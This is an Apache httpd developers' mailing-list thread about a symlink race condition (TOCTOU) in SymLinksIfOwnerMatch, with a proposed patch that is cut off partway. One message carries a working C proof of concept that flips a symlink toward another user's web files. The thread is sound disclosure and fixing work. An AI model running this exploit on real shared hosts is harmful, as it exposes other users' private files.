Re: [patch] Fix cross-user symlink race condition vulnerability

2013-03-05 Thread Eric Jacobs

On 03/04/2013 09:25 AM, Jason Staburn wrote:

If you would like more information on the exploit itself, please let me
know. I have a proof of concept that is able to hit the exploit with
100% success.


I'm trying to test this patch and would love to know how you're able to 
duplicate this on-demand.



My proof of concept is attached to this email, but this exploit shows up 
in the wild all the time. I've seen numerous php and perl based exploits 
pop up via script kiddie injections. This PoC is just something I threw 
together in a few minutes.


You'll need to update the paths to the files in main() to suit your 
environment. If you're having a hard time hitting the race condition, 
try tuning tim.tv_nsec in tsleep().


Finally, this exploit works two ways:
1) symlinking directly to your target file.
2) symlinking to a directory containing the target file.

The patch I published a few months ago fixes both vectors.


--
Eric Jacobs
Junior Systems Administrator
Bluehost.com
/** Apache Symlink Exploiter.
 *
 *  Proof of concept for exploit where symlinks to files with non-matching UIDs
 *  are served by Apache even when Options +SymLinksIfOwnerMatch is enabled.
 *
 *  The exploit is achieved by very quickly rocking a symlink back and forth
 *  between a file owned by the symlink owner, and file you actually want 
 *  apache to serve, then requesting the symlink through apache hundreds of
 *  times in rapid succession. If everything goes well, you should eventually
 *  hit a race condition between UID checks and apache will serve your target
 *  file.
 *
 *  Author:   Eric Jacobs
 *  Date: September 11, 2012
 *  Bluehost.com
 */


#include 
#include 
#include 

/* tsleep() will sleep the thread for approx 1/1000 of a second. No sense
 * in destroying the box that you're trying to exploit by creating and
 * destroying symlinks too fast.
 */
int tsleep() {
struct timespec tim, tim2;
tim.tv_sec = 0;
tim.tv_nsec = 100;

if(nanosleep(&tim,&tim2) < 0) {
printf("Failed during nanosleep.");
return 1;
}
return 0;
}

int main(int argc, char *argv[]) {

// The file your user does not own.
char target[] = "/home1/victim/public_html/\0";

// A file to serve when you aren't serving your target file.
char dummy[] = "/home1/attacker/public_html/\0";

// The name of the symlink you'll request in the browser.
char sym[] = "/home1/attacker/public_html/link\0";

/* set up the original symlink with the uids matching */
symlink(dummy, sym);

while(1) {
unlink(sym);
symlink(target, sym);
tsleep();
unlink(sym);
symlink(dummy, sym);
tsleep();
}
   
return 0;
}


RE: [patch] Fix cross-user symlink race condition vulnerability

2013-03-04 Thread Jason Staburn
> If you would like more information on the exploit itself, please let me  
> know. I have a proof of concept that is able to hit the exploit with 
> 100% success.

Hi Eric,

I'm trying to test this patch and would love to know how you're able to 
duplicate this on-demand.

Thanks,
Jason


Re: [patch] Fix cross-user symlink race condition vulnerability

2012-11-04 Thread Lazy
2012/10/31 Eric Jacobs :
> On 10/31/2012 06:00 AM, Eric Covener wrote:
>>
>> In general that is the proper form -- but this particular issue is
>> documented as a limitation:
>>
>> "Omitting this option should not be considered a security restriction,
>> since symlink testing is subject to race conditions that make it
>> circumventable."
>
>
> Some users (like Bluehost) require the functionality of symlinks without the
> possibility of server side vulnerabilities. Having the vulnerability
> documented doesn't keep servers safe. The patch I submitted allows httpd to
> use symlinks in a protected fashion that doesn't allow for users to serve
> arbitrary files.
>
> I'll go ahead and submit a more detailed email to the security. More
> feedback from the devs is appreciated.

on some systems, at least on Linux You can use a grsecurity kernel
patch feature which prevents those races
and is cheeper performance wise

+config GRKERNSEC_SYMLINKOWN
+   bool "Kernel-enforced SymlinksIfOwnerMatch"
+   default y if GRKERNSEC_CONFIG_AUTO && GRKERNSEC_CONFIG_SERVER
+   help
+ Apache's SymlinksIfOwnerMatch option has an inherent race condition
+ that prevents it from being used as a security feature.  As Apache
+ verifies the symlink by performing a stat() against the target of
+ the symlink before it is followed, an attacker can setup a symlink
+ to point to a same-owned file, then replace the symlink with one
+ that targets another user's file just after Apache "validates" the
+ symlink -- a classic TOCTOU race.  If you say Y here, a complete,
+ race-free replacement for Apache's "SymlinksIfOwnerMatch" option
+ will be in place for the group you specify. If the sysctl option
+ is enabled, a sysctl option with name "enforce_symlinksifowner" is
+ created.

there probably is something similar on *BSD's, or if there isn't it
won't be hard to make

Your patch checks for a race conditions every time, even if Symlinks
weren't allowed. It also references some
configuration dependent directory like /usr/local/apache/htdocs.

-- 
Michal Grzedzicki


Re: [patch] Fix cross-user symlink race condition vulnerability

2012-10-31 Thread Eric Covener
On Wed, Oct 31, 2012 at 3:36 PM, Eric Jacobs  wrote:
> On 10/31/2012 06:00 AM, Eric Covener wrote:
>>
>> In general that is the proper form -- but this particular issue is
>> documented as a limitation:
>>
>> "Omitting this option should not be considered a security restriction,
>> since symlink testing is subject to race conditions that make it
>> circumventable."
>
>
> Some users (like Bluehost) require the functionality of symlinks without the
> possibility of server side vulnerabilities. Having the vulnerability
> documented doesn't keep servers safe.

My point was that discussion of this particular issue does not need to
be segregated to the private security list.


Re: [patch] Fix cross-user symlink race condition vulnerability

2012-10-31 Thread Eric Jacobs

On 10/31/2012 06:00 AM, Eric Covener wrote:

In general that is the proper form -- but this particular issue is
documented as a limitation:

"Omitting this option should not be considered a security restriction,
since symlink testing is subject to race conditions that make it
circumventable."


Some users (like Bluehost) require the functionality of symlinks without 
the possibility of server side vulnerabilities. Having the vulnerability 
documented doesn't keep servers safe. The patch I submitted allows httpd 
to use symlinks in a protected fashion that doesn't allow for users to 
serve arbitrary files.


I'll go ahead and submit a more detailed email to the security. More 
feedback from the devs is appreciated.



--

Eric Jacobs
Junior Systems Administrator
Bluehost.com


Re: [patch] Fix cross-user symlink race condition vulnerability

2012-10-31 Thread Eric Covener
On Wed, Oct 31, 2012 at 7:31 AM, Graham Leggett  wrote:
> On 31 Oct 2012, at 6:46 AM, Eric Jacobs  wrote:
>
>> There is a race condition vulnerability in httpd 2.2.23 (also present in 
>> previous releases) that allows a malicious user to serve arbitrary files 
>> from nearly anywhere on a server that isn't protected by strict os level 
>> permissions. In a shared hosting environment, this is a big vulnerability.
>>
>> If you would like more information on the exploit itself, please let me 
>> know. I have a proof of concept that is able to hit the exploit with 100% 
>> success.
>>
>> This is my first patch submitted to Apache, so I'm sorry if I've missed 
>> something. I'm aware that this doesn't meet some of the code standards that 
>> are in place (e.g, it doesn't work at all on Windows), but I wanted to put 
>> it out there anyway.
>>
>> The patch that fixes the vulnerability is attached. Thank you in advance for 
>> the feedback.
>
> As this is reported as a security issue, would it be possible instead to 
> email the details to secur...@httpd.apache.org, and we can take a look?
>

In general that is the proper form -- but this particular issue is
documented as a limitation:

"Omitting this option should not be considered a security restriction,
since symlink testing is subject to race conditions that make it
circumventable."


Re: [patch] Fix cross-user symlink race condition vulnerability

2012-10-31 Thread Graham Leggett
On 31 Oct 2012, at 6:46 AM, Eric Jacobs  wrote:

> There is a race condition vulnerability in httpd 2.2.23 (also present in 
> previous releases) that allows a malicious user to serve arbitrary files from 
> nearly anywhere on a server that isn't protected by strict os level 
> permissions. In a shared hosting environment, this is a big vulnerability.
> 
> If you would like more information on the exploit itself, please let me know. 
> I have a proof of concept that is able to hit the exploit with 100% success.
> 
> This is my first patch submitted to Apache, so I'm sorry if I've missed 
> something. I'm aware that this doesn't meet some of the code standards that 
> are in place (e.g, it doesn't work at all on Windows), but I wanted to put it 
> out there anyway.
> 
> The patch that fixes the vulnerability is attached. Thank you in advance for 
> the feedback.

As this is reported as a security issue, would it be possible instead to email 
the details to secur...@httpd.apache.org, and we can take a look?

Regards,
Graham
--



smime.p7s
Description: S/MIME cryptographic signature


Re: [patch] Fix cross-user symlink race condition vulnerability

2012-10-31 Thread Christophe JAILLET

Le 31/10/2012 05:46, Eric Jacobs a écrit :
There is a race condition vulnerability in httpd 2.2.23 (also present 
in previous releases) that allows a malicious user to serve arbitrary 
files from nearly anywhere on a server that isn't protected by strict 
os level permissions. In a shared hosting environment, this is a big 
vulnerability.


If you would like more information on the exploit itself, please let 
me know. I have a proof of concept that is able to hit the exploit 
with 100% success.


This is my first patch submitted to Apache, so I'm sorry if I've 
missed something. I'm aware that this doesn't meet some of the code 
standards that are in place (e.g, it doesn't work at all on Windows), 
but I wanted to put it out there anyway.


The patch that fixes the vulnerability is attached. Thank you in 
advance for the feedback.




Hi,

could you please open a bug report on bugzilla 
(https://issues.apache.org/bugzilla/) so that your message and proposed 
patch does not get lost in this mailing list.


Thanks in advance.

Best regards,
Christophe JAILLET



[patch] Fix cross-user symlink race condition vulnerability

2012-10-30 Thread Eric Jacobs
There is a race condition vulnerability in httpd 2.2.23 (also present in 
previous releases) that allows a malicious user to serve arbitrary files 
from nearly anywhere on a server that isn't protected by strict os level 
permissions. In a shared hosting environment, this is a big vulnerability.


If you would like more information on the exploit itself, please let me 
know. I have a proof of concept that is able to hit the exploit with 
100% success.


This is my first patch submitted to Apache, so I'm sorry if I've missed 
something. I'm aware that this doesn't meet some of the code standards 
that are in place (e.g, it doesn't work at all on Windows), but I wanted 
to put it out there anyway.


The patch that fixes the vulnerability is attached. Thank you in advance 
for the feedback.


--

Eric Jacobs
Junior Systems Administrator
Bluehost.com
diff -rupN httpd-2.2.23-orig/modules/mappers/mod_userdir.c httpd-2.2.23/modules/mappers/mod_userdir.c
--- httpd-2.2.23-orig/modules/mappers/mod_userdir.c 2011-02-07 19:58:51.0 -0700
+++ httpd-2.2.23/modules/mappers/mod_userdir.c  2012-09-18 21:55:11.297206652 -0600
@@ -51,6 +51,7 @@
 
 #include "apr_strings.h"
 #include "apr_user.h"
+#include "apr_env.h"
 
 #define APR_WANT_STRFUNC
 #include "apr_want.h"
@@ -63,6 +64,7 @@
 #include "httpd.h"
 #include "http_config.h"
 #include "http_request.h"
+#include "http_log.h"
 
 #if !defined(WIN32) && !defined(OS2) && !defined(BEOS) && !defined(NETWARE)
 #define HAVE_UNIX_SUEXEC
@@ -313,7 +315,7 @@ static int translate_userdir(request_rec
  * used, for example, to run a CGI script for the user.
  */
 if (filename && (!*userdirs
-  || ((rv = apr_stat(&statbuf, filename, APR_FINFO_MIN,
+  || ((rv = apr_stat(&statbuf, filename, APR_FINFO_NORM,
  r->pool)) == APR_SUCCESS
  || rv == APR_INCOMPLETE))) {
 r->filename = apr_pstrcat(r->pool, filename, dname, NULL);
@@ -324,6 +326,11 @@ static int translate_userdir(request_rec
 if (*userdirs && dname[0] == 0)
 r->finfo = statbuf;
 
+/* This is used later on to make sure the symlink exploit is not
+ * exploitable.
+ */
+apr_table_set(r->subprocess_env, "SPT_DOCROOT", filename);
+
 /* For use in the get_suexec_identity phase */
 apr_table_setn(r->notes, "mod_userdir_user", w);
 
diff -rupN httpd-2.2.23-orig/server/core.c httpd-2.2.23/server/core.c
--- httpd-2.2.23-orig/server/core.c 2011-09-08 09:59:38.0 -0600
+++ httpd-2.2.23/server/core.c  2012-09-25 16:04:14.863185577 -0600
@@ -21,6 +21,7 @@
 #include "apr_hash.h"
 #include "apr_thread_proc.h"/* for RLIMIT stuff */
 #include "apr_hooks.h"
+#include "apr_env.h"/* for symlink protection + userdir stuff */
 
 #define APR_WANT_IOVEC
 #define APR_WANT_STRFUNC
@@ -3676,6 +3677,9 @@ static int default_handler(request_rec *
 int errstatus;
 apr_file_t *fd = NULL;
 apr_status_t status;
+core_server_config *csconf;
+apr_finfo_t post_open_dirstat;
+apr_finfo_t post_open_finfo;
 /* XXX if/when somebody writes a content-md5 filter we either need to
  * remove this support or coordinate when to use the filter vs.
  * when to use this code
@@ -3687,6 +3691,12 @@ static int default_handler(request_rec *
 
 d = (core_dir_config *)ap_get_module_config(r->per_dir_config,
 &core_module);
+
+/* Pull in the vhost's server configuration. Mostly we just use this to
+ * check the document root user against the open file user.
+ */
+csconf = ap_get_module_config(r->server->module_config, &core_module);
+
 bld_content_md5 = (d->content_md5 & 1)
   && r->output_filters->frec->ftype != AP_FTYPE_RESOURCE;
 
@@ -3760,6 +3770,66 @@ static int default_handler(request_rec *
 return HTTP_FORBIDDEN;
 }
 
+/* This is where the magic is. If a user is trying to hit the apache
+ * symlink race condition, then we will know about it here.
+ */
+
+char *sp_docroot = apr_table_get(r->subprocess_env, "SPT_DOCROOT");
+apr_status_t post_dirstat_rv;
+apr_status_t post_fdstat_rv;
+
+if (strcmp(csconf->ap_document_root, "/usr/local/apache/htdocs") == 0
+&& sp_docroot != NULL){
+/* Then this is a request coming in from mod_userdir.c, and we
+ * need to stat what we stored in sp-docroot, instead of
+ * ap_document_root
+ */
+
+post_dirstat_rv = apr_stat(&post_open_dirstat, sp_docroot,
+APR_FINFO_USER | APR_FINFO_LINK, r->pool);
+
+} else {
+/* Then this a request that matched a vhost, so ap_document_root
+ * will be what we are looking for.
+ */
+